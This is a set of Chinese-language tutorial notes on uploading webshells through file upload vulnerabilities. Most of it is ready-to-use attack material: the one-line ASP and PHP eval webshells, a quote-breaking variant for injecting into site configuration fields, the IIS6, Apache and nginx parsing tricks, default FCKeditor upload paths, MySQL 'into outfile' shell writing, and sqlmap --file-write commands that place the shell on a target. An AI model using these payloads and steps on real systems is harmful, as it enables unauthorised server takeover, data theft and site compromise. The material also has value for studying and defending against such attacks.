Webshell 文件上传漏洞

WebShell是利用asp或php等语言编写的基于web的木马后门,通过webshell可以控制web站点，包括上传下载文件，查看数据库、执行系统命令等。

 上传漏洞的利用目的:将webshell上传到目标服务器

一句话木马

ASP：

<%eval request("cmd")%>  //cmd为连接时的密码

PHP:

<?php eval($POST['cmd']);?> //cmd为连接时的密码

可以将一句话木马保存成单独的网页文件，也可以将代码插入到网站的某个asp或php网页文件中

之后就可以通过中国菜刀这类客户端进行远程连接

 利用数据库备份和审查元素功能上传

先以图片格式上传webshell

通过数据库备份功能修改文件后缀

获取url，访问webshell

有的文本框是 disabled=disabled 属性 是不可写的 

利用审查元素 将disabled=disabled删除

插入一句话木马

在网站配置的网站标题中插入一句话木马

要对代码进行改造：

"%><%eval request("pass")%><%'    //"%>的作用是将原有的"和<%闭合   <%的作用保证一句话木马之后的代码完整'表示asp中的单行注释

同理 php的"?><?php eval($POST['cmd']);?><?php

网站配置文件通常在 url/inc/config.asp

友情链接、页面编辑、模块编辑

利用抓包上传webshell

先上传正常图片

通过抓包获得上传页面url以及cookie

通过明小子的综合上传功能来上传webshell

端口 1-65535

固定端口 1-1023

随机端口 1024-65535

解析漏洞

IIS解析漏洞(在iis6.0存在该漏洞)

如果一个目录以“xxx.asp”的形式来命名，那么该目录下的所有类型的文件都会被当作asp文件来解析执行

如果一个文件的扩展名采用“.asp;*.jpg”的形式，那么该文件也会被当作 asp文件解析执行

Apache解析漏洞

Apache在解析文件时有一个原则：当碰到不认识的扩展名时，将会从后往前解析，直到碰到认识的扩展名（在Apache1.x和Apache2.x中都存在解析漏洞）

1.php.ddd.jpg

nginx解析漏洞

upload/1.jpg/.php

文件上传漏洞

编辑器上传漏洞

常见的文本编辑器有FCKEditor、Ewebeditor等，他们的功能类似，一班都有图片上传、远程下载等功能

主要利用思路

通过搜索引擎等方式获知网站是否使用FCKEditor编辑器

获取或猜测FCKEditor的安装目录

利用IIS6解析漏洞上传一句话木马或webshell

FCKeditor敏感信息：

查看版本信息

/fckeditor/editor/dialog/fck_about.html

/fckeditor/_whatsnew.html

默认上传页面

/fckeditor/editor/filemanager/browser/default/browser.html

/fckeditor/editor/filemanager/browser/default/connectors/test.html

/fckeditor/editor/filemanager/upload/test.html

/fckeditor/editor/filemanager/connectors/test.html

/fckeditor/editor/filemanager/connectors/uploadtest.html

SQL语句执行

通过mysql中的“select ...into oufile”语句向网页中写入文件

select "test" into oufile "D:/AppServ/www/text.txt";

注意：文件路径中的分隔符是/ 而不是\

select * from hack union select 1,",3 into outfile "D:/AppServ/www/test3.php";

 入侵成功的前提：

网站数据库必须是MSSQL或MySQL，对于ACCESS数据库无效。

当前用户必须是具有数据库管理员的操作权限

必须获取目标网站的物理路径

利用sqlmap执行sql语句

 检测注入点

sqlmap -u "url"

检测当前用户是否具有数据库管理权限

sqlmap -u "url"--is-dba

先将一句话木马存放在本地d:/ma.php文件中

获取目标网站的物理路径C:/www

--file-write参数指定本地文件路径

--file-dest参数指定目标路径

sqlmap-u "url"--file-write"d:/ma.php" --file-dest"C:/www/ma.php"

探测网站物理路径

利用GoogleHack

site:url warning

让网站报错

url and 1=2

查看网站遗留文件

info.php       phpinfo.php    test.php

<?php

echo phpinfo.php();

?>

利用Pangolin信息检测功能（有注入漏洞才可以）

文件上传总结